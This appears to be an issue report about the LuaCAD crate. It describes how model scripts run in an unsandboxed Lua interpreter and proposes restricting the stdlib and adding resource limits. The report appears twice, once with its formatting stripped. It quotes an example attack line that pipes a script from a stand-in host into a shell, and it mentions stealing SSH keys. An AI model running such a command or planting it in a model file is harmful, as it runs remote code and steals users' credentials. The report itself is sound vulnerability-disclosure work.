Problem
Loading a LuaCAD model is currently equivalent to running an arbitrary shell script with the invoking user's privileges. There is effectively no sandbox.
execute_lua_with_path in crates/luacad/src/lua_engine.rs creates the interpreter with a plain mlua::Lua::new() and never restricts the standard library. Lua::new() loads StdLib::ALL_SAFE, where "safe" means memory-safe for the Rust host — not security-sandboxed. It excludes only debug; everything else is reachable from an untrusted script:
os — os.execute, os.remove, os.rename, os.getenv, os.exit, os.tmpname
io — io.open, io.popen, arbitrary file read/write/delete
package / require — and the model-loading code prepends the script's own directory to package.path, so a downloaded model bundle can ship and pull in its own .lua files
A malicious .lua model can therefore run e.g. os.execute("curl evil.sh | sh") or exfiltrate ~/.ssh/id_rsa at load time.
There are also no resource limits: no memory limit (set_memory_limit) and no instruction-count interrupt (set_hook / set_interrupt). An infinite loop or unbounded allocation hangs or OOMs the whole process — a trivial DoS.
Proposed fix
- Build with a restricted stdlib instead of
Lua::new():
let lua = Lua::new_with(
StdLib::STRING | StdLib::TABLE | StdLib::MATH | StdLib::UTF8,
LuaOptions::default(),
)?;
This drops os, io, and package. Re-expose only what's needed: a require that resolves only within the model's own directory, and the existing Rust-side import() / surface() file functions gated to a whitelisted directory.
- Add
set_interrupt (or a count hook) to bound runtime and set_memory_limit to bound allocation.
- For isolation against a determined attacker, run the interpreter in a separate process with OS-level sandboxing (seccomp /
sandbox-exec / container), since even a locked-down Lua VM can have escape bugs.
Step 1 alone moves this from arbitrary code execution to "can only compute geometry", which is the property needed for shareable models.
Problem
Loading a LuaCAD model is currently equivalent to running an arbitrary shell script with the invoking user's privileges. There is effectively no sandbox.
execute_lua_with_pathincrates/luacad/src/lua_engine.rscreates the interpreter with a plainmlua::Lua::new()and never restricts the standard library.Lua::new()loadsStdLib::ALL_SAFE, where "safe" means memory-safe for the Rust host — not security-sandboxed. It excludes onlydebug; everything else is reachable from an untrusted script:os—os.execute,os.remove,os.rename,os.getenv,os.exit,os.tmpnameio—io.open,io.popen, arbitrary file read/write/deletepackage/require— and the model-loading code prepends the script's own directory topackage.path, so a downloaded model bundle can ship and pull in its own.luafilesA malicious
.luamodel can therefore run e.g.os.execute("curl evil.sh | sh")or exfiltrate~/.ssh/id_rsaat load time.There are also no resource limits: no memory limit (
set_memory_limit) and no instruction-count interrupt (set_hook/set_interrupt). An infinite loop or unbounded allocation hangs or OOMs the whole process — a trivial DoS.Proposed fix
Lua::new():os,io, andpackage. Re-expose only what's needed: arequirethat resolves only within the model's own directory, and the existing Rust-sideimport()/surface()file functions gated to a whitelisted directory.set_interrupt(or a count hook) to bound runtime andset_memory_limitto bound allocation.sandbox-exec/ container), since even a locked-down Lua VM can have escape bugs.Step 1 alone moves this from arbitrary code execution to "can only compute geometry", which is the property needed for shareable models.